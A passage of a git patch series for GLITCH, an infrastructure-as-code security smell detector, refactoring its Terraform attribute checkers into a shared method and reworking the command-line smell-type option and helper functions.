self.check_azurerm_storage_container(element, file) + errors += self.__check_azurerm_storage_container(element, file) elif (element.type == "resource.aws_ecs_cluster"): name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") if name is not None: @@ -227,43 +260,6 @@ def check(self, element, file: str): errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - if (attribute.name == "cloud_watch_logs_group_arn" and element.type == "resource.aws_cloudtrail"): - if re.match(r"^\${aws_cloudwatch_log_group\..", attribute.value): - aws_cloudwatch_log_group_name = attribute.value.split('.')[1] - if not self.get_au(file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): - errors.append(Error('sec_logging', attribute, file, repr(attribute), - f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + - f"with name '{aws_cloudwatch_log_group_name}'.")) - else: - errors.append(Error('sec_logging', attribute, file, repr(attribute))) - elif (((attribute.name == "retention_in_days" and parent_name == "" - and element.type in ["resource.azurerm_mssql_database_extended_auditing_policy", - "resource.azurerm_mssql_server_extended_auditing_policy"]) - or (attribute.name == "days" and parent_name == "retention_policy" - and element.type == "resource.azurerm_network_watcher_flow_log")) - and ((not attribute.value.isnumeric()) or (attribute.value.isnumeric() and int(attribute.value) < 90))): - errors.append(Error('sec_logging', attribute, file, repr(attribute))) - elif (attribute.name == "days" and parent_name == "retention_policy" - and element.type == "resource.azurerm_monitor_log_profile" - and (not attribute.value.isnumeric() or (attribute.value.isnumeric() and int(attribute.value) < 365))): - errors.append(Error('sec_logging', attribute, file, repr(attribute))) - - for config in SecurityVisitor._LOGGING: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_logging', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable and - attribute.value.lower() not in config['values']): - errors.append(Error('sec_logging', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attr in element.attributes: - check_attribute(attr, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index 3051c68b..0aa41256 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,28 @@ class TerraformMissingEncryption(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_missing_encryption', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable + and attribute.value.lower() not in config['values']): + return [Error('sec_missing_encryption', attribute, file, repr(attribute))] + for item in SecurityVisitor._CONFIGURATION_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._ENCRYPT_CONFIG: + if atomic_unit.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, attribute.value) and config['required'] == "yes": + return [Error('sec_missing_encryption', attribute, file, repr(attribute))] + elif re.search(pattern, attribute.value) and config['required'] == "must_not_exist": + return [Error('sec_missing_encryption', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -59,34 +82,6 @@ def check(self, element, file: str): errors.append(Error('sec_missing_encryption', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._MISSING_ENCRYPTION: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable - and attribute.value.lower() not in config['values']): - errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) - break - for item in SecurityVisitor._CONFIGURATION_KEYWORDS: - if item.lower() == attribute.name: - for config in SecurityVisitor._ENCRYPT_CONFIG: - if element.type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, attribute.value) and config['required'] == "yes": - errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) - break - elif re.search(pattern, attribute.value) and config['required'] == "must_not_exist": - errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py index b4becc68..9fcb925f 100644 --- a/glitch/analysis/terraform/naming.py +++ b/glitch/analysis/terraform/naming.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,23 @@ class TerraformNaming(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + if (attribute.name == "name" and atomic_unit.type in ["resource.azurerm_storage_account"]): + pattern = r'^[a-z0-9]{3,24}$' + if not re.match(pattern, attribute.value): + return [Error('sec_naming', attribute, file, repr(attribute))] + + for config in SecurityVisitor._NAMING: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_naming', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + return [Error('sec_naming', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -34,27 +52,6 @@ def check(self, element, file: str): errors.append(Error('sec_naming', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - if (attribute.name == "name" and element.type in ["resource.azurerm_storage_account"]): - pattern = r'^[a-z0-9]{3,24}$' - if not re.match(pattern, attribute.value): - errors.append(Error('sec_naming', attribute, file, repr(attribute))) - - for config in SecurityVisitor._NAMING: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_naming', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable and - attribute.value.lower() not in config['values']): - errors.append(Error('sec_naming', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index b7195b35..e3f4a4d7 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,15 @@ class TerraformNetworkSecurityRules(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (attribute.name == rule['attribute'] and atomic_unit.type in rule['au_type'] and parent_name in rule['parents'] + and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in rule['values'] and rule['values'] != [""]): + return [Error('sec_network_security_rules', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -49,18 +59,6 @@ def check(self, element, file: str): errors.append(Error('sec_network_security_rules', element, file, repr(element), f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for rule in SecurityVisitor._NETWORK_SECURITY_RULES: - if (attribute.name == rule['attribute'] and element.type in rule['au_type'] and parent_name in rule['parents'] - and not attribute.has_variable and attribute.value is not None and - attribute.value.lower() not in rule['values'] and rule['values'] != [""]): - errors.append(Error('sec_network_security_rules', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index e4285e1d..74849845 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,23 @@ class TerraformPermissionIAMPolicies(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + if ((attribute.name == "member" or attribute.name.split('[')[0] == "members") + and atomic_unit.type in SecurityVisitor._GOOGLE_IAM_MEMBER + and (re.search(r".-compute@developer.gserviceaccount.com", attribute.value) or + re.search(r".@appspot.gserviceaccount.com", attribute.value) or + re.search(r"user:", attribute.value))): + return [Error('sec_permission_iam_policies', attribute, file, repr(attribute))] + + for config in SecurityVisitor._PERMISSION_IAM_POLICIES: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ((config['logic'] == "equal" and not attribute.has_variable and attribute.value.lower() not in config['values']) + or (config['logic'] == "diff" and attribute.value.lower() in config['values'])): + return [Error('sec_permission_iam_policies', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -17,26 +35,6 @@ def check(self, element, file: str): a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) - def check_attribute(attribute: Attribute, parent_name: str): - if ((attribute.name == "member" or attribute.name.split('[')[0] == "members") - and element.type in SecurityVisitor._GOOGLE_IAM_MEMBER - and (re.search(r".-compute@developer.gserviceaccount.com", attribute.value) or - re.search(r".@appspot.gserviceaccount.com", attribute.value) or - re.search(r"user:", attribute.value))): - errors.append(Error('sec_permission_iam_policies', attribute, file, repr(attribute))) - - for config in SecurityVisitor._PERMISSION_IAM_POLICIES: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and not attribute.has_variable and attribute.value.lower() not in config['values']) - or (config['logic'] == "diff" and attribute.value.lower() in config['values'])): - errors.append(Error('sec_permission_iam_policies', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index 503a8ac8..37a8903b 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,15 @@ class TerraformPublicIp(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in config['values'] and config['values'] != [""]): + return [Error('sec_public_ip', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -18,18 +28,6 @@ def check(self, element, file: str): if a is not None: errors.append(Error('sec_public_ip', a, file, repr(a))) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._PUBLIC_IP_CONFIGS: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and not attribute.has_variable and attribute.value is not None and - attribute.value.lower() not in config['values'] and config['values'] != [""]): - errors.append(Error('sec_public_ip', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py index b5a7aa30..68320567 100644 --- a/glitch/analysis/terraform/replication.py +++ b/glitch/analysis/terraform/replication.py @@ -1,4 +1,5 @@ import re +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,6 +7,15 @@ class TerraformReplication(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._REPLICATION: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not attribute.has_variable and attribute.value.lower() not in config['values']): + return [Error('sec_replication', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -24,18 +34,6 @@ def check(self, element, file: str): errors.append(Error('sec_replication', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._REPLICATION: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not attribute.has_variable and attribute.value.lower() not in config['values']): - errors.append(Error('sec_replication', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index cad8741b..45cdc1b7 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -1,11 +1,11 @@ import json from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit class TerraformSensitiveIAMAction(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] def convert_string_to_dict(input_string): diff --git a/glitch/analysis/terraform/smell_checker.py b/glitch/analysis/terraform/smell_checker.py index 06ac0a44..eefafe6b 100644 --- a/glitch/analysis/terraform/smell_checker.py +++ b/glitch/analysis/terraform/smell_checker.py @@ -102,4 +102,20 @@ def iterate_required_attributes( i += 1 attribute = self.check_required_attribute(attributes, [""], f"{name}[{i}]") - return False, None \ No newline at end of file + return False, None + + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + pass + + def __check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + errors = [] + errors += self._check_attribute(attribute, atomic_unit, parent_name, file) + for attr_child in attribute.keyvalues: + errors += self.__check_attribute(attr_child, atomic_unit, attribute.name, file) + return errors + + def _check_attributes(self, atomic_unit: AtomicUnit, file: str) -> List[Error]: + errors = [] + for attribute in atomic_unit.attributes: + errors += self.__check_attribute(attribute, atomic_unit, "", file) + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py index 392323d4..de9b16e4 100644 --- a/glitch/analysis/terraform/ssl_tls_policy.py +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,15 @@ class TerraformSslTlsPolicy(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (attribute.name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in policy['values']): + return[Error('sec_ssl_tls_policy', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -22,18 +32,6 @@ def check(self, element, file: str): errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - def check_attribute(attribute: Attribute, parent_name: str): - for policy in SecurityVisitor._SSL_TLS_POLICY: - if (attribute.name == policy['attribute'] and element.type in policy['au_type'] - and parent_name in policy['parents'] and not attribute.has_variable and attribute.value is not None and - attribute.value.lower() not in policy['values']): - errors.append(Error('sec_ssl_tls_policy', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index e20a6298..b48a0001 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,18 @@ class TerraformThreatsDetection(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + return [Error('sec_threats_detection_alerts', attribute, file, repr(attribute))] + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + return [Error('sec_threats_detection_alerts', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -18,22 +31,6 @@ def check(self, element, file: str): if a is not None: errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) - def check_attribute(attribute: Attribute, parent_name: str): - for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_threats_detection_alerts', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in config['values'] and not attribute.has_variable and - attribute.value.lower() not in config['values']): - errors.append(Error('sec_threats_detection_alerts', attribute, file, repr(attribute))) - break - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py index ceecfaa6..bab470f2 100644 --- a/glitch/analysis/terraform/versioning.py +++ b/glitch/analysis/terraform/versioning.py @@ -1,10 +1,20 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit +from glitch.repr.inter import AtomicUnit, Attribute class TerraformVersioning(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for config in SecurityVisitor._VERSIONING: + if (attribute.name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not attribute.has_variable and attribute.value.lower() not in config['values']): + return [Error('sec_versioning', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -14,17 +24,6 @@ def check(self, element, file: str): errors.append(Error('sec_versioning', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - def check_attribute(attribute, parent_name): - for config in SecurityVisitor._VERSIONING: - if (attribute.name == config['attribute'] and element.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not attribute.has_variable and attribute.value.lower() not in config['values']): - errors.append(Error('sec_versioning', attribute, file, repr(attribute))) - - for attr_child in attribute.keyvalues: - check_attribute(attr_child, attribute.name) - - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py index f2295ad4..532d7398 100644 --- a/glitch/analysis/terraform/weak_password_key_policy.py +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -1,3 +1,4 @@ +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -5,6 +6,27 @@ class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): + def _check_attribute(self, attribute: Attribute, atomic_unit: AtomicUnit, parent_name: str, file: str) -> List[Error]: + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (attribute.name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and policy['values'] != [""]): + if (policy['logic'] == "equal"): + if ("any_not_empty" in policy['values'] and attribute.value.lower() == ""): + return [Error('sec_weak_password_key_policy', attribute, file, repr(attribute))] + elif ("any_not_empty" not in policy['values'] and not attribute.has_variable and + attribute.value.lower() not in policy['values']): + return [Error('sec_weak_password_key_policy', attribute, file, repr(attribute))] + elif ((policy['logic'] == "gte" and not attribute.value.isnumeric()) or + (policy['logic'] == "gte" and attribute.value.isnumeric() + and int(attribute.value) < int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', attribute, file, repr(attribute))] + elif ((policy['logic'] == "lte" and not attribute.value.isnumeric()) or + (policy['logic'] == "lte" and attribute.value.isnumeric() + and int(attribute.value) > int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', attribute, file, repr(attribute))] + + return [] + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): @@ -13,34 +35,7 @@ def check(self, element, file: str): and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_weak_password_key_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - def check_attribute(attribute: Attribute, parent_name: str): - for policy in SecurityVisitor._PASSWORD_KEY_POLICY: - if (attribute.name == policy['attribute'] and element.type in policy['au_type'] - and parent_name in policy['parents'] and policy['values'] != [""]): - if (policy['logic'] == "equal"): - if ("any_not_empty" in policy['values'] and attribute.value.lower() == ""): - errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) - break - elif ("any_not_empty" not in policy['values'] and not attribute.has_variable and - attribute.value.lower() not in policy['values']): - errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) - break - elif ((policy['logic'] == "gte" and not attribute.value.isnumeric()) or - (policy['logic'] == "gte" and attribute.value.isnumeric() - and int(attribute.value) < int(policy['values'][0]))): - errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) - break - elif ((policy['logic'] == "lte" and not attribute.value.isnumeric()) or - (policy['logic'] == "lte" and attribute.value.isnumeric() - and int(attribute.value) > int(policy['values'][0]))): - errors.append(Error('sec_weak_password_key_policy', attribute, file, repr(attribute))) - break - - for child in attribute.keyvalues: - check_attribute(child, attribute.name) - for attribute in element.attributes: - check_attribute(attribute, "") + errors += self._check_attributes(element, file) return errors \ No newline at end of file From b44a81c6bd092e97a4293793eae5e634a6a2cc81 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Mon, 18 Mar 2024 15:20:25 +0000 Subject: [PATCH 58/58] fix CLI. Change exception catch --- glitch/__main__.py | 16 +++++++-------- glitch/analysis/rules.py | 6 ++++-- glitch/helpers.py | 43 +++++++++++++++++++++++++++++++++++++--- glitch/parsers/cmof.py | 2 +- glitch/stats/print.py | 8 ++++---- 5 files changed, 57 insertions(+), 18 deletions(-) diff --git a/glitch/__main__.py b/glitch/__main__.py index 867c2048..97448c33 100644 --- a/glitch/__main__.py +++ b/glitch/__main__.py @@ -1,6 +1,6 @@ import click, os, sys from glitch.analysis.rules import Error, RuleVisitor -from glitch.helpers import RulesListOption +from glitch.helpers import RulesListOption, get_smell_types, get_smells from glitch.parsers.docker_parser import DockerParser from glitch.stats.print import print_stats from glitch.stats.stats import FileStats @@ -50,12 +50,12 @@ def parse_and_check(type, path, module, parser, analyses, errors, stats): "This flag is only relevant if you are using the dataset flag.") @click.option('--csv', is_flag=True, default=False, help="Use this flag if you want the output to be in CSV format.") -@click.option('--smells', cls=RulesListOption, multiple=True, - help="The type of smells being analyzed.") +@click.option('--smell_types', cls=RulesListOption, multiple=True, + help="The type of smell_types being analyzed.") @click.argument('path', type=click.Path(exists=True), required=True) @click.argument('output', type=click.Path(), required=False) def glitch(tech, type, path, config, module, csv, - dataset, includeall, smells, output, tableformat, linter): + dataset, includeall, smell_types, output, tableformat, linter): if config != "configs/default.ini" and not os.path.exists(config): raise click.BadOptionUsage('config', f"Invalid value for 'config': Path '{config}' does not exist.") elif os.path.isdir(config): @@ -77,13 +77,13 @@ def glitch(tech, type, path, config, module, csv, config = resource_filename('glitch', "configs/terraform.ini") file_stats = FileStats() - if smells == (): - smells = list(map(lambda c: c.get_name(), RuleVisitor.__subclasses__())) + if smell_types == (): + smell_types = get_smell_types() analyses = [] rules = RuleVisitor.__subclasses__() for r in rules: - if smells == () or r.get_name() in smells: + if smell_types == () or r.get_name() in smell_types: analysis = r(tech) analysis.config(config) analyses.append(analysis) @@ -140,7 +140,7 @@ def glitch(tech, type, path, config, module, csv, if f != sys.stdout: f.close() if not linter: - print_stats(errors, smells, file_stats, tableformat) + print_stats(errors, get_smells(smell_types, tech), file_stats, tableformat) def main(): glitch(prog_name='glitch') diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 1fc09717..09abe641 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -16,10 +16,12 @@ class Error(): 'sec_invalid_bind': "Invalid IP address binding - Binding to the address 0.0.0.0 allows connections from every possible network which might be a security issues. (CWE-284)", 'sec_no_int_check': "No integrity check - The content of files downloaded from the internet should be checked. (CWE-353)", 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)", - 'sec_non_official_image': "Use of non-official Docker image - Use of non-official images should be avoided or taken into careful consideration. (CWE-829)", 'sec_full_permission_filesystem': "Full permission to the filesystem - Files should not have full permissions to every user. (CWE-732)", 'sec_obsolete_command': "Use of obsolete command or function - Avoid using obsolete or deprecated commands and functions. (CWE-477)", - 'terraform': { + Tech.docker: { + 'sec_non_official_image': "Use of non-official Docker image - Use of non-official images should be avoided or taken into careful consideration. (CWE-829)", + }, + Tech.terraform: { 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled. (CWE-471)", 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions. (CWE-326)", 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS. (CWE-350)", diff --git a/glitch/helpers.py b/glitch/helpers.py index 9e70708e..9735fed4 100644 --- a/glitch/helpers.py +++ b/glitch/helpers.py @@ -1,6 +1,9 @@ import click -from glitch.analysis.rules import RuleVisitor +from typing import List +from glitch.tech import Tech +from glitch.analysis.rules import Error + class RulesListOption(click.Option): def __init__( @@ -35,8 +38,42 @@ def __init__( show_choices = show_choices, show_envvar = show_envvar, ) - rules = list(map(lambda c: c.get_name(), RuleVisitor.__subclasses__())) - self.type = click.Choice(rules, case_sensitive=False) + self.type = click.Choice( + get_smell_types(), + case_sensitive=False + ) + + +def get_smell_types() -> List[str]: + """Get list of smell types. + + Returns: + List[str]: List of smell types. + """ + return Error.ERRORS.keys() + + +def get_smells(smell_types: List[str], tech: Tech) -> List[str]: + """Get list of smells. + + Args: + smell_types (List[str]): List of smell types. + tech (Tech): Technology being analyzed. + + Returns: + List[str]: List of smells. + """ + + smells = [] + for smell_type in smell_types: + errors = Error.ERRORS[smell_type] + for error in errors: + if error == tech: + smells.extend(errors[error].keys()) + elif not isinstance(error, Tech): + smells.append(error) + return smells + def remove_unmatched_brackets(string): stack, aux = [], "" diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 1a7c5c1d..ca99143f 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1547,7 +1547,7 @@ def process_list(name, value, start_line, end_line): block_attributes["__end_line__"], name, None) k.keyvalues = 